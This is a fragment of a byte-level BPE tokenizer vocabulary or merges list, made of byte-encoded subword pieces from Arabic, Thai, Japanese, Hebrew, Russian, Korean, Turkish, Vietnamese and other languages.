+ĠÙĦÙĩذÙĩ +ĠÙĬعتبر +légi +ãĤıãģĭãĤĭ +Ġrừng +ظÙĩ +ظÙĩÙĪØ± +Ġ×ŀ×ij×Ļף +Ġ기íĥĢ +åĪĩãĤĮ +lanmÄ±ÅŁ +à¸Ĺีà¹Īมีà¸Ħวาม +Ġhá»ģ +تÙĪØ¬Ùĩ +ĠاÙĦإدارة +Ġútil +ספ×ķ +à¸Ħวามรัà¸ģ +à¹Ĥฮ +ĠполиÑĤ +ĠполиÑĤик +Ġsatın +ĠÅŀimdi +×ŀ×ķר×Ļ×Ŀ +ìķĺëĭ¤ +×Ĺ×ķ×ķ +×Ĺ×ķ×ķ×Ļ×Ķ +à¸Ħà¸Ńมà¸ŀิ +à¸Ħà¸Ńมà¸ŀิว +à¸Ħà¸Ńมà¸ŀิวà¹Ģà¸ķà¸Ńรà¹Į +Ġاذا +تخاذ +ãĤ¨ãĥ« +Ġpossibilité +ยืà¸Ļยัà¸Ļ +Ġünivers +Ġüniversite +ĠاÙĦدÙĪØ±ÙĬ +ĠìķĬëĬĶëĭ¤ +ĠìĦľë¡ľ +ØŃاÙĦ +Ġë¨ +Ġ먼 +Ġ먼ìłĢ +à¸Ĺีà¹Īà¸ĸูà¸ģ +ì§ľ +Ġskóry +лÑĮÑĨ +à¹ĥà¸Ĭà¹īà¹Ģวลา +×ijקשת +ĠذÙĪ +æĹ¥ãĢħ +ĠкоÑĤоÑĢÑĥÑİ +ĠÑĥÑĢовенÑĮ +깨 +à¹Ħà¸Ĺ +ãĤµãĥĹãĥª +ãĤ¸ãĥ§ãĥ³ +ãģĻãģ¹ãģį +ĠGór +ãĥĪãĤ¤ +ãĥĪãĤ¤ãĥ¬ +ĠyaÅŁama +Ġdá»ĭp +Ġbữa +à¸ĭุ +Ġölüm +ãģ£ãģ¦ãģıãĤĭ +à¸ģารà¸Ħà¹īา +שער +ĠÑĤипа +ĠгеÑĢ +ĠгеÑĢо +רקע +Ġuważ +Ġuważa +ש×ŀף +Ġhastalık +ãĤıãĤĮãĤĭ +baÅŁÄ± +ÑĩÑĤо +Ġ×ij×ŀר׼×ĸ +Ġìļ°ë¦¬ìĿĺ +ĠÙĥاÙĨÙĪØ§ +Ġأبر +ĠأبرÙĬÙĦ +층 +à¹Ħà¸Ĥà¹Ī +ĠÙĪÙĦÙĪ +à¸Ĺัว +à¸Ĺัวรà¹Į +ĠÙĪØ£Ùĥد +à¸Ĭวà¸Ļ +׾×ķ×§ +æį¨ +æį¨ãģ¦ +Ġİçin +péri +Ġyal +Ġyalnız +ÑĮÑıн +Ġgắng +à¸ģà¹ĩยัà¸ĩ +ĠУкÑĢаин +ĠÑģами +ĠпÑĢоведен +à¸ķà¸ģà¹ģà¸ķà¹Īà¸ĩ +ĠQuân +éparation +ĠbaÅŁÄ±nda +Ġznale +Ġznaleź +ĠznaleźÄĩ +ãĤ±ãĥ¼ +ãĥİãĥ¼ +à¸ĸูà¸ģà¸ķà¹īà¸Ńà¸ĩ +몸 +ĠëıĮ +ĠëıĮìķĦ +ĠSchüler +ĠподгоÑĤов +ĠподгоÑĤовк +عرÙĪ +عرÙĪØ¶ +laÅŁtır +ĠÑģоÑģÑĤавлÑıеÑĤ +ĠпÑĢоизвод +ĠпÑĢоизводÑģÑĤва +ĠоÑģнове +ĠØ´ÙħاÙĦ +à¸ģรี +ĠgörÃ¼ÅŁme +оÑĩек +Ġ×Ĺ×ijר×Ļ×Ŀ +Ùħخاط +Ùħخاطر +ï¼Ń +רפ×IJ +ĠMẹ +ยà¸Ńมรัà¸ļ +Ġvết +خذ +ĠاÙĦتط +ĠاÙĦتطبÙĬÙĤ +à¸Ļึà¸ģ +Ġ×Ķ×Ľ×ł×¡×ª +ĠогÑĢани +ĠогÑĢаниÑĩен +ĠÃĩalÄ±ÅŁ +ĠاÙĦÙħÙĨتدÙī +à¸Īำà¸Ļวà¸Ļมาà¸ģ +ĠÑĤоÑĢÑĢ +ĠÑĤоÑĢÑĢенÑĤ +ĠìĤ´ìķĦ +à¸ŀลัà¸ĩà¸ĩาà¸Ļ +à¸Ĭัà¸Ļ +ĠÐIJндÑĢ +Ġréalisé +×ŀש×IJ +à¹ģà¸Ĭ +à¹ģà¸Ĭรà¹Į +Ġбог +มาà¹ģลà¹īว +ĠاÙĦÙĨار +Ġolmadıģı +×ĵ×¢×Ķ +ĠÑĥвеÑĢ +ĠÑĥвеÑĢен +ãĤĭãĤĤãģ® +أد +أدÙĪØ§Øª +Ġ×Ķ×ĸ×ķ×Ĵ +إعÙĦاÙħ +há»ı +ĠNähe +ĠÑĤеÑģÑĤ +Ġ×ŀ×ķ׼ר +Ġë¬¸ìłľê°Ģ +ת×ķצ×IJ×Ķ +mó +móvel +ĠاÙĦتجارة +ĠмногиÑħ +обÑīа +Ġעסק×Ļ +ĠEducação +קש×Ļ×Ŀ +établ +établissement +Ġделе +иÑĢÑĥеÑĤÑģÑı +آثار +Ġ×Ķ×ŀר׼×ĸ×Ļ +ãĥIJãĥ« +ĠвÑģÑĤÑĢеÑĩ +ãģĴãĤĭ +ĠciÄħ +ĠciÄħgu +ÙĬست +à¸łà¸²à¸§ +à¸łà¸²à¸§à¸° +Ø£Ùħر +Ġожи +Ġожида +Ġá»§y +ãĥŀãĥ« +راس +оÑĩной +ת×Ĵ×ķ×ij×ķת +تعرÙĬÙģ +ĠÑģоÑĨиалÑĮно +ãĤĴéĸĭ +ĠиÑģÑģледова +Ġdú +Ġdúvida +ĠskÅĤ +ĠskÅĤada +Ġhäufig +ĠвÑĭбÑĢ +ĠвÑĭбÑĢаÑĤÑĮ +ãģ®ãģ§ãģ¯ãģªãģĦãģĭ +ĠÑģилÑĮно +ÑĤвеÑĢжден +רפ +רפ×ķ×IJ×Ķ +æĢĿãģĦãģ¾ãģĻ +ØŃرص +ש×ķתף +Ùħسجد +à¹Ĥà¸Ĭวà¹Į +емÑģÑı +вÑĪие +Ġмл +Ġмлн +Ġ׾×Ķ×ij×Ļ×IJ +ĠÙĬتعÙĦÙĤ +à¸ķูà¹ī +ĠпÑĢаз +ĠпÑĢазд +ĠпÑĢаздник +Ġнем +Ġнемного +ĠsÃłng +تÙĨسÙĬ +تÙĨسÙĬÙĤ +Ġtá»Ŀ +Ġмеди +ã쫿Π+ã쫿λ +à¸Ħวà¹īา +ãģĭãģijãĤĭ +×ij׾×ķת +ĠÑįкÑģп +ĠÑįкÑģпеÑĢÑĤ +ĠдевÑĥÑĪ +ĠдевÑĥÑĪк +ĠØŃص +ÙĨشأ +ãģĮãģĤãĤĭãģ®ãģ§ +ĠتراÙħ +ĠتراÙħب +أسÙĪØ§ÙĤ +Ġ׾פ׳×ķת +Ġاﻷ +ãģ«ãģı +ãģ«ãģıãģĦ +ĠأعÙĦÙī +Ġ׾×Ķ×ŀש×Ļ×ļ +räu +ש×ŀ×Ļ×Ŀ +åĪĨãģij +ãģĻãģ§ +ãģĻãģ§ãģ« +×Ķ׾׼×Ķ +×Ĺ׾×Ļ×£ +Ġì±ħ +Ġì±ħìŀĦ +à¹Ģà¸Īริ +à¹Ģà¸Īริà¸į +éģĬãģ³ +جسد +สาà¸ĺ +สาà¸ĺาร +สาà¸ĺารà¸ĵ +Ġbasın +ÑĢаг +гад +ĠhoÅŁ +íķµ +×ij×Ĺ×Ļר×Ķ +×ŀס×ļ +ĠìłľíĴĪ +تÙħÙĪÙĬÙĦ +ĠLưu +ë¡ľë¶ĢíĦ° +Ġпоб +Ġпобед +ÙħÙĨذ +常ãģ« +ÙĤس +ĠاÙĦÙħصدر +ĠÙĪØ§ÙĦاست +Ġkhắp +ĠاÙĦجاÙĨب +Ġnguyá»ĩn +éĸĵéģķãģĦ +ĠÑģÑĤÑĢа +ĠÑģÑĤÑĢаÑħ +ĠÑģÑĤÑĢаÑħов +รีà¸ļ +Ġxương +Ġì°¾ +Ġì°¾ìķĦ +Ġngại +гал +à¸ĭีà¹Ī +Ġ×ijפ×Ļ×Ļס×ij×ķ×§ +ЦенÑĤÑĢ +Ġavaliação +Ġeconómico +×ĸף +ĠÐľÐ°Ðº +Ġinterés +à¸ģลิà¹Īà¸Ļ +ÑģÑĤÑĮÑİ +ĠÄijương +å¼·ãģı +ĠKhách +à¹Ģà¸Ļืà¹īà¸Ńหา +ĠYazı +è²·ãģ£ãģ¦ +ÐłÐķ +à¹Ģà¸ŀิà¹Īมà¸Ĥึà¹īà¸Ļ +สมà¸ļู +สมà¸ļูรà¸ĵà¹Į +ĠмиÑĢов +×Ĵ׳×Ļ×Ŀ +ĠÄijức +à¸Ńารà¹Į +صاص +ãģĬãĤĪ +ãģĬãĤĪãģ³ +êÌī +ĠاÙĦÙħؤتÙħر +ĠاÙĦÙħرØŃÙĦØ© +สà¸Ńà¸ļà¸ĸาม +Ġà¸Īาà¸ģà¸Ļัà¹īà¸Ļ +Ġتعد +ãģĿãģ®ãģŁãĤģ +Ġkháng +à¸Ļิà¸Ķ +ãĥĬãĥ³ +ëĦ¤ìļĶ +ĠاÙĦاØŃت +ĠاÙĦاØŃتÙĦاÙĦ +ìļķ +Ġмодели +ĠпÑĢоÑĨенÑĤ +à¸ŀวà¸ģà¹Ģรา +Ġ×Ķצ×ĵ +Ġ×Ķצ×ĵ×ĵ×Ļ×Ŀ +stände +׳×Ĵר +Ġdotyc +ĠdotyczÄħ +ĠdotyczÄħce +ĠÅĽwiÄĻt +×ŀר×Ķ +ãģĻãģĶãģĦ +ãĥĩãĤ£ãĥ³ãĤ° +à¸ģารสรà¹īาà¸ĩ +ëĤ¬ +Ġì°¸ìŬ +ÑģÑħ +ÑģÑħем +ÙħÙĪØ³ +Ġnấu +Ġ׾×ŀ×¢×ľ×Ķ +à¹Ģà¸Ľà¹īา +à¹Ģà¸Ľà¹īาหมาย +Ġmùi +ائز +íĽĪ +×Ĺ×ij×ķר×Ķ +à¸ľà¸¹à¹īà¹ĥà¸Ĭà¹ī +Ġpaź +Ġpaździ +Ġpaździern +Ġpaździernika +ลà¸ĩà¹Ħà¸Ľ +ÙĤاع +ĠcháºŃm +Ġözellikleri +ĠÄIJo +ĠÄIJoÃłn +жение +Ġhẳ +Ġhẳn +ĠaÅŁk +ï½į +ãĥijãĤ¹ +×Ķ×ķר×IJ×ķת +ĠÅ» +ĠÅ»y +×ŀ×ĸ׾ +ĠÑĥкÑĢа +ĠÑĥкÑĢаин +à¹Ģà¸Ĭิ +à¹Ģà¸Ĭิà¸į +ÐłÐĺ +ĠzwiÄħzku +×Ķ×Ĺ׾×ĺת +ãĤĵãģ§ãģĻãĤĪãģŃ +ãģ¦ãģĬãĤĬ +ложиÑĤÑĮ +×ŀ×ķ׳×Ļ×Ŀ +ฮิ +ì°¬ +ĠاÙĦÙħشترÙĥ +ĠdÃ¼ÅŁÃ¼k +агенÑĤ +ĠاÙĦأسبÙĪØ¹ +ĠÙĤرÙĬب +инд +индив +индивид +индивидÑĥ +индивидÑĥалÑĮн +förder +Ġseçen +Ġseçenek +Ġétant +ĠлÑİбим +казÑĭваеÑĤ +วิà¸Ļ +Ġ×Ķ×ij×IJ×Ļ×Ŀ +Ġдов +ĠдоволÑĮ +ĠдоволÑĮно +×¢×ĵ×Ļ×£ +Ġokre +ĠokreÅĽ +ĠokreÅĽlon +ĠترÙĬد +à¹Ģมืà¹Īà¸Ńวัà¸Ļà¸Ĺีà¹Ī +ãĤĪãģĭãģ£ãģŁ +Cumh +Cumhur +Cumhurba +CumhurbaÅŁ +CumhurbaÅŁkan +CumhurbaÅŁkanı +Ġnợ +à¸ľà¸¹à¹īà¹Ģลà¹Īà¸Ļ +Ġcomplète +à¹Ģà¸ŀศ +دÙIJ +Ġdüz +Ġdüzey +ãģ§ãģĤãĤĭãģĵãģ¨ +extérieur +׳ +Ġinformação +ãĤ¯ãĥªãĥĭãĥĥãĤ¯ +ĠPubli +ĠPublié +ר×ķ×ĵ +à¸Ħà¸§à¸²à¸¡à¸Ľà¸¥à¸Ńà¸Ķà¸łà¸±à¸¢ +ĠØ£ÙĬض +ĠØ£ÙĬضÙĭا +تسبب +ãģ¤ãĤĤãĤĬ +изма +à¸Ĥึà¹īà¸Ļà¹Ħà¸Ľ +ÙĥÙIJ +ÙĦÙĪÙħ +Ġשצר +Ġשצר×Ļ×ļ +ãģ¯ãĤĤãģ¡ãĤįãĤĵ +Ġкан +Ġканал +ãģ«ãģªãģ£ãģ¦ãģĦãģ¾ãģĻ +ĠاÙĦØ£Ùĥثر +تاØŃ +ÙĨتÙĩ +ÙĨتÙĩاء +اÙĪÙĬØ© +ĠBugün +нÑģкого +à¸Ķà¹Īวà¸Ļ +évolution +ãģ£ãģ¦ãģĦãģ¾ãģĹãģŁ +ãĤħ +ĠVương +à¸łà¸²à¸ŀย +à¸łà¸²à¸ŀยà¸Ļ +à¸łà¸²à¸ŀยà¸Ļà¸ķรà¹Į +Ġ×Ķצ׾×Ļ×Ĺ +ĠاÙĦإسÙĦاÙħÙĬ +ÙĦÙĬب +Ġedição +ÑģÑĤÑĢел +Ġkhúc +ÙĨÙħÙĪØ° +ÙĨÙħÙĪØ°Ø¬ +׾צ×Ķ +ÑģÑĤавил +à¸ĸา +สรà¹īาà¸ĩà¸Ħวาม +ãģĦãģ£ãģ± +ãģĦãģ£ãģ±ãģĦ +ÑģÑĤавлен +ĠاÙĦÙĤدس +Ġngược +بخ +สหร +สหรั +สหรัà¸IJ +Ġأغ +Ġأغسط +Ġأغسطس +ãģĨãģ¾ +ãģĨãģ¾ãģı +ĠêµŃìłľ +ØŃضار +Ġdừng +æĬ¼ãģĹ +تÙĪØ§ +تÙĪØ§Ø¬Ø¯ +ש×ŀ×Ĺ×Ķ +ãģıãĤĵ +Ġ×ijעצ +Ġ×ijעצ×Ŀ +×ŀ׳×Ļ×ķת +×ķ×Ļ×ĵ +×ķ×Ļ×ĵ×IJ×ķ +à¸Ĭิà¸ĩ +ĠpracÄĻ +ĠзаÑĤ +ĠзаÑĤем +ĠìŀIJìľł +Ġì¤Ģ +Ġì¤Ģë¹Ħ +ĠbáºŃ +ĠbáºŃc +Ġ×Ķ×ŀצ×ij +ĠÙĤÙĬÙħØ© +à¹Ģà¸Ńà¹Ģà¸Ĭ +à¹Ģà¸Ńà¹Ģà¸Ĭีย +Ġperchè +ĠاÙĦعسÙĥر +ĠاÙĦعسÙĥرÙĬØ© +جÙĬب +ëŀµ +ÙħÙĩر +ÙħÙĩرجاÙĨ +ÙħراÙĥ +ÙħراÙĥز +Ġоднако +à¸Ķีà¹Ĩ +Ġצפ×ķ +Ġkullanılan +Ġкино +ãĥĨãĤ£ãĥ³ãĤ° +ĠGiỼi +تÙĪØ² +تÙĪØ²ÙĬع +ยิà¸Ļ +ยิà¸Ļà¸Ķี +ĠcÅĵur +ĠiÅŁaret +Ġ×ij×¢×ĸר +Ġ×ij×¢×ĸרת +ĠпаÑĨи +ĠпаÑĨиенÑĤ +ãģ¿ãģŁãģĦãģ§ãģĻ +вез +лина +оде +Ġ×IJ×ķ×ª×Ł +dıģınız +ĠÐIJв +ĠÐIJвÑĤоÑĢ +ï¼® +ĠCần +ĠاÙĦاخ +ĠاÙĦاخبار +Ġê±°ìĿĺ +Ġatenção +ĠgeldiÄŁi +ãĤªãĤ¹ +ãĤªãĤ¹ãĤ¹ +ãĤªãĤ¹ãĤ¹ãĥ¡ +евÑĭе +кÑĢÑĭл +à¹Ģà¸Ĭียà¸ĩ +à¹Ģà¸Ĭียà¸ĩà¹ĥหมà¹Ī +Ġmarço +ĠاÙĦÙħادة +Ġгол +Ġsprzedaży +Ġíķ´ê²° +ĠÐķго +ê¹Ģ +Ġ׾ק×ij×ľ×ª +ĠاÙĦÙģÙĨاÙĨ +Ġcomunicación +à¹Ģสà¹īà¸Ļà¸Ĺาà¸ĩ +íĺ¹ +à¸Ĭำ +à¸Ĭำระ +Ġ׼×IJ×ŀ +Ġ׼×IJ×ŀ×ķר +à¸Ĭà¹Īาà¸ĩ +زÙĩر +Ġklientów +иваÑİÑĤ +анг +׳×ļ +Ġgá»įn +ÃľR +ìĺģìĥģ +Ġغزة +ìĿĮìĿĦ +Ġbezpo +ĠbezpoÅĽ +ĠbezpoÅĽredni +ĠاÙĦÙħÙĪØ§ +ĠاÙĦÙħÙĪØ§Ø·ÙĨ +ĠاÙĦÙħÙĪØ§Ø·ÙĨÙĬÙĨ +ãĤĮãģ¾ãģĻ +ĠмаÑĤÑĩ +×IJ×ķף +ĠرسÙħÙĬ +ĠÑįкон +ĠÑįконом +ĠÑįкономиÑĩеÑģк +ãĥľãĥ¼ +ĠдиÑĢ +ĠдиÑĢекÑĤоÑĢ +ĠÑģкоÑĢо +à¸ļำ +à¸ļำร +à¸ļำรุà¸ĩ +ĠÑĦÑĥÑĤ +ĠÑĦÑĥÑĤбол +Ġ×IJ×Ļ׾ +Ġì¤ijêµŃ +ìľ¤ +eÄŁe +à¹Ħà¸ģà¹Ī +traî +traîn +ĠÑĤÑĢÑĥб +à¹Ģà¸ļื +à¹Ģà¸ļืà¹īà¸Ńà¸ĩ +à¹ģมà¸Ļ +ĠتØŃدÙĬØ« +Ġ×Ľ×¢×ª +ØŃاسب +lıģa +×§×Ļ×Ļ×ŀ×Ļ×Ŀ +оÑģÑĤÑĮÑİ +à¸Ŀั +à¸Ŀัà¹Īà¸ĩ +شغÙĦ +ìĽ¹ +Ġкаждого +Ġbölümü +หà¸Ļี +ĠistediÄŁi +Ġtrưng +ãĥĮ +ฮà¸Ń +Ø£ÙĨØ´ +Ø£ÙĨشطة +ĠاÙĦÙħسÙĬ +ĠاÙĦÙħسÙĬØŃ +ลัà¸ģษà¸ĵà¹Į +Ġná»Ńa +à¸Ĺีà¹Īà¸ķà¹īà¸Ńà¸ĩà¸ģาร +ÑĪек +лÑij +Ġש×Ļ×Ķ +Ġש×Ļ×Ķ×Ļ×Ķ +Ġkhuôn +ĠÑĤÑĢебованиÑı +Ġ×ľ×¢×ĸ×ķר +ĠاÙĦعÙħر +ราà¸Ħาà¸ĸูà¸ģ +ÙĩÙıÙħÙĴ +üst +üstü +Ġденег +Ġnạ +à¸Ĥà¸Ļม +Ġблаг +Ġблагод +ĠблагодаÑĢ +ĠблагодаÑĢÑı +إسÙĦاÙħ +à¸Ļิว +çŁ¥ãĤīãģªãģĦ +Ø«ÙĤØ© +ĠголоÑģ +×IJ×ķר×Ĺ +Ġtrứng +Ġодном +ĠkoÅĦcu +Ġ×ķרק +WiÄĻ +WiÄĻcej +Ġ×IJ×Ļ׼×ķת +Ġ×IJ×Ļ׼×ķת×Ļ +ÑģоÑģ +Ġjeżeli +以ä¸ĭãģ® +å°ıãģķ +å°ıãģķãģª +ологии +ĠобÑģлÑĥж +ĠобÑģлÑĥжива +Ùĥتابة +Ġê´Ģìĭ¬ +עש×Ļר +Ġarasındaki +ĠÑĢайона +ÙĪØ§Ø¬Ø¨ +Ġ×ij×Ĺ×Ļ×Ļ +íķ´ì£¼ +Ġgóc +айл +ĠTình +æļ®ãĤī +æļ®ãĤīãģĹ +æĻĤãģ«ãģ¯ +ĠгоÑĢоде +Ġ׼×IJ×Ļ׾ +Ġ׼×IJ×Ļ׾×ķ +ĠCá»Ļng +ãģ©ãģĨãģĹãģ¦ãĤĤ +×Ĺ×ķ×£ +تØŃرÙĥ +ĠÑģловам +à¸Īะà¸Ĭà¹Īวย +ĠاÙĦÙħستÙĤبÙĦ +ÙĤض +ÙĤضÙĬ +×ijס×ķפ +×ijס×ķפ×ķ +iÄĻÄĩ +ĠYıl +Ø´ÙĬØ® +à¸Ħุà¸ĵà¸Īะ +ש×ŀ×ķת +Ġتعرض +Ġanálise +ĠÑģобиÑĢа +à¹Ģà¸ŀà¸Ĭ +à¹Ģà¸ŀà¸Ĭร +Ġвели +Ġвелик +สัà¹īà¸Ļ +Ġpopulação +รà¹Īวมà¸ģัà¸Ļ +×Ĺ×ŀ +×Ĺ×ŀ×Ļש×Ļ +ס×Ļס +åĨħãģ§ +ĠsobÄħ +ĠYay +ĠYayın +ãĥ¡ãĥĭãĥ¥ãĥ¼ +ĠпÑĢедоÑģÑĤавлÑı +ãģłã썿ĢĿãģĨ +Ġê³łê°Ŀ +Ġодним +à¹ĥà¸Ļà¹Ģรืà¹Īà¸Ńà¸ĩ +Ġsá»ķ +ĠÐĹдеÑģÑĮ +ĠизменениÑı +ĠìĿ¼ìĿĦ +ãģªãģ®ãģł +кладÑĭва +ÑĢма +Ġ×ķ×ij׼׾ +تأÙħÙĬÙĨ +ĠпÑĢиÑıÑĤ +ĠпÑĢиÑıÑĤн +ÙħÙħار +ÙħÙħارسة +ãģ¨ãģªãģ£ãģ¦ +ĠجÙħÙĬÙĦ +Ġì§Ī +Ġì§Ī문 +Ġquestão +ié +iéndo +หà¹īà¸Ńà¸ĩà¸ŀัà¸ģ +ãĥijãĥ¼ãĥĪ +ÑĤвеÑĢжда +нÑģкой +зал +มุà¹Īà¸ĩ +á»Ĭ +Ġ×Ķ×IJ×Ĺר×ķ׳×Ķ +ĠThư +주민 +ĠاÙĦعب +évén +événement +ÙĤÙĪØ§Ø¹Ø¯ +دÙı +ĠìķĬìĬµëĭĪëĭ¤ +Ġ보기 +Ġyapılması +à¹Ģราà¸ģ +à¹Ģราà¸ģà¹ĩ +ØŃذر +ÙĤصر +ãģ¦ãģĹãģ¾ãģĦãģ¾ãģĹãģŁ +Ġà¹Ģà¸Ľà¹ĩà¸Ļà¸ķà¹īà¸Ļ +ãģ¨ãģ« +ãģ¨ãģ«ãģĭ +ãģ¨ãģ«ãģĭãģı +нÑĨе +звÑĥк +ãģĹãĤĪãģĨãģ¨ +ĠاÙĦصØŃÙĬØ© +Ġש×Ķ×Ļ×ķ +ĠDiÄŁer +ÙĤÙĦÙĤ +ãĤ¸ãĥ£ãĥ³ +Ġrá»Ŀi +ĠлеÑĩ +ĠлеÑĩениÑı +تباد +تبادÙĦ +צפ×Ķ +à¸Ħวามà¹Ģหà¹ĩà¸Ļ +Ġشب +ĠشبÙĥØ© +ר×Ļ×§ +Ùħعد +Ùħعدات +dıģında +Ġ×ijש׳×Ļ×Ŀ +Ġ×Ķ×Ļשר×IJ׾ +Ġ×Ķ×Ļשר×IJ׾×Ļת +Ġsınav +׳צ×Ļ×Ĵ +วัà¸ķà¸ĸุ +ĠاÙĦبرÙĦÙħ +ĠاÙĦبرÙĦÙħاÙĨ +tivitÃł +ãĤĵãģłãĤįãģĨ +×§×Ļ×Ļ×ŀ +ÙĦÙĬÙĥ +ĠÄijò +ĠÄijòi +ĠÐĺнÑĤеÑĢ +ĠÐĺнÑĤеÑĢнеÑĤ +ãģ«ãģ¨ãģ£ãģ¦ãģ¯ +ãģ£ãģĵ +×§×ķס +ستØŃÙĤ +æķĻãģĪãģ¦ +ãĥĢãĥ¡ +ĠÙħÙĨزÙĦ +à¹Ģà¸ĭà¹ĩà¸Ļ +使ãģĪãĤĭ +è¦ĭç©į +è¦ĭç©įãĤĤãĤĬ +Ø£Ùģ +Ø£ÙģÙĥار +ĠигÑĢов +ĠигÑĢовÑĭе +ĠmÄĻż +ĠmÄĻżczy +ĠmÄĻżczyzn +ĠاÙĦØŃÙĤÙĬÙĤÙĬ +عبر +׼×ķ׾׳×ķ +íĿ¥ +×ŀ×IJ×ķ×Ĺר +ختص +ãĥŀãĥŀ +Ġ×IJ×Ĺ×ķ×ĸ +íĮĢ +Ġrá»iji +ĠвÑĤоÑĢ +ĠвÑĤоÑĢой +Ġlẫn +пÑĢом +пÑĢомÑĭÑĪ +пÑĢомÑĭÑĪлен +пÑĢомÑĭÑĪленн +ĠоÑĤноÑĪениÑı +Ġsứ +ĠмобилÑĮ +ĠмобилÑĮн +ĠÑįÑĤомÑĥ +Ġtạp +ĠìĤ¬ê±´ +ĠìķĮ볤 +ÙĥÙı +ÙĥÙıÙħÙĴ +Ġ×§×ķר×Ķ +ĠÑĦиÑĢ +ĠÑĦиÑĢм +Ġsıkıntı +׳׼ +׳׼×ķף +ÙĪÙĦÙĪØ¬ÙĬ +ØŃاÙĨ +Ġloạn +Ġ×IJ×ľ×£ +Ġmắn +abhäng +abhängig +ĠÑĥÑĢовнÑı +Ġ׾×ij×ĵ×ķ×§ +ÙĬÙħÙĨ +layın +Ġhải +Ġзавод +ĠìķĦ주 +สà¸ĸา +สà¸ĸาà¸ļัà¸Ļ +Ġgüvenlik +à¹Ģà¸Ķà¹Īà¸Ļ +×ij×ĵ×§ +ĠëĪ +ĠëĪĦ +ĠëĪĦ구 +éĩįè¦ģãģª +รà¸Ńà¸ĩรัà¸ļ +schlie +schlieÃŁen +Ġìĸ¼ +Ġìĸ¼ë§Ī +Ġìĸ¼ë§ĪëĤĺ +ÑĤики +íķľëĭ¤ê³ł +ãģłãģ£ãģŁãĤī +Ġ×Ķ×Ļ×ĺ×ij +ãģªãģijãĤĮãģ°ãģªãĤīãģªãģĦ +Ã¢Ì +ậ +Ġphạt +akÄ±ÅŁ +ãģ¦ãģĹãģ¾ãģĦãģ¾ãģĻ +à¹Ģà¸ĭà¹ĩ +ĠСегоднÑı +Ġinsanların +Ġdéveloppe +תפר +תפר×Ļ×ĺ +اÙĨتشار +ê°ij +François +Ø£ÙĦع +Ø£ÙĦعاب +ãĤĴè¶ħ +ãĤĴè¶ħãģĪ +Ġê°ĻìĬµëĭĪëĭ¤ +ãĤ³ãĥ¬ +ĠмеÑģÑıÑĨев +íĮħ +ĠاÙĦجاÙħعة +ìĿ¸íĦ° +ìĿ¸íĦ°ëĦ· +×ĵר×ķש +ĠÙĪØ£Ø´Ø§Ø± +ĠпÑĢавила +ãģĿãģĵãģ« +×Ĺ×ŀ×ĵ +à¹Ģหà¸ķุà¸ģารà¸ĵà¹Į +Ġê²½íĹĺ +ãģ¶ãĤĬ +׾ש +׾ש×ķף +à¹Ģà¸ĸ +ĠDoÄŁu +ĠиÑģполÑĮзование +ĠçocuÄŁu +магазине +ĠÄijiá»ĥn +Ġaslı +Ġaslında +Ġdoença +Ġساع +Ġساعات +ĠиÑģполÑĮзованиÑı +ר×ķצ×Ļ×Ŀ +ĠзнаÑĩиÑĤ +ĠÑĢам +ĠÑĢамкаÑħ +거리 +ĠпÑĭÑĤа +ãĥģãĥ³ +ĠпоÑģк +ĠпоÑģколÑĮ +ĠпоÑģколÑĮкÑĥ +إبر +إبراÙĩ +إبراÙĩÙĬÙħ +ĠÑĤÑĢеÑħ +ĠGenç +سÙĪÙģ +ĠveÃŃculo +ĠNgân +ĠоÑĩеÑĢедÑĮ +à¸Ħรึà¹Īà¸ĩ +×IJ×ij×Ļ +à¸ķà¹īม +ãĤĴè¡ĮãģĦ +ĠاÙĦسابÙĤØ© +наÑĨи +наÑĨиона +наÑĨионалÑĮн +Ġgestión +تÙĤد +ĠاÙĦبÙĬاÙĨ +ĠاÙĦبÙĬاÙĨات +ĠاÙĦاÙĨتخاب +ĠاÙĦاÙĨتخابات +à¹Ģà¸Ĭà¹Īา +×ĵ×IJ×Ĵ +Ġ׾×Ĵ×ŀר×Ļ +ĠتØŃتاج +Ġthôn +à¸ķà¹īà¸Ńà¸Ļ +à¸ķà¹īà¸Ńà¸Ļรัà¸ļ +女ãģ® +女ãģ®åŃIJ +Ġthợ +Ø·ØŃÙĨ +ารà¹Įà¸Ķ +ת×ŀ×Ļ×ĵ +ĠÑģамÑĭм +Ġìĭľíĸī +إصد +إصدار +ĠNghá»ĩ +ìķķ +سئ +سئÙĦ +à¸Ńาร +à¸Ńารม +à¸Ńารมà¸ĵà¹Į +à¹ģฮ +׳×ĺ׾ +Ġì¢ĭìķĦ +×ķ׾׾ +Ġ×ij×Ľ×ª×ij +ãĤ«ãĥ© +צע×Ļר×Ļ×Ŀ +تعبÙĬر +Ġ×ŀקר×Ķ +ĠÑĦакÑĤоÑĢ +ĠتÙħاÙħ +ĠتÙħاÙħا +ëįķ +Ġvưá»Ŀ +Ġvưá»Ŀn +ĠdÄ±ÅŁÄ± +ãģĦãģ¡ +Ġ׾ק׳×ķת +ĠاÙĦعÙĦاÙĤات +пÑĥб +пÑĥбли +Ø¥ÙĬÙħ +Ø¥ÙĬÙħاÙĨ +à¸Ńำà¸Ļา +à¸Ńำà¸Ļาà¸Ī +åIJ«ãģ¾ãĤĮ +ãĤĭãģŁãĤģãģ« +ס×Ĵ +ס×Ĵ׳×ķף +تØŃدÙĬ +Ġauprès +ĠاÙĦجÙĩا +ĠاÙĦجÙĩاز +Ġ×ŀת×Ĺת +еннÑĥÑİ +Ġзим +à¸ģาà¹ģà¸Ł +Ġ×ijת×ķר +Ġnghè +Ġnghèo +ĠÐĽÑİ +ĠÐĽÑİб +תקצ×Ļ×ij +×ŀעש×Ķ +ĠاÙĦبÙĬت +צ×Ļפ +ĠобÑıзан +ĠMá»Ĺi +ĠТÑĥÑĢ +ĠÙĪØ¨Ø§ÙĦت +ĠÙĪØ¨Ø§ÙĦتاÙĦÙĬ +Ġdécision +Ġبد +Ġبدأت +Ġcục +Ġbask +Ġbaskı +Ġhatırl +Ġhatırla +å°ıãģķãģĦ +Ġgerçekten +à¸ľà¸±à¸ģ +åı¯èĥ½ãģª +×ŀ×IJס +ĠcrÃŃtica +ĠìĿĺìĽIJ +عÙĤÙĪØ¯ +×ĺ׼׳ +×ĺ׼׳×ķ׾×ķ×Ĵ×Ļ×Ķ +è¨ĢãģĪãģ° +ĠÙĤÙĨا +ĠÙĤÙĨاة +ĠìĿ´ê²ĥìĿĢ +تصر +à¸Łà¸±à¸Ļ +ĠÑĢеÑĨеп +ĠÑĢеÑĨепÑĤ +ĠبÙĨÙ쨳 +ÑĢоÑĪ +ĠмаÑĢÑĤа +Ġsonras +Ġsonrası +×ķ×ijש +ãĥªãĤ¹ãĤ¯ +ĠFrançais +á»ļ +ê°Ķ 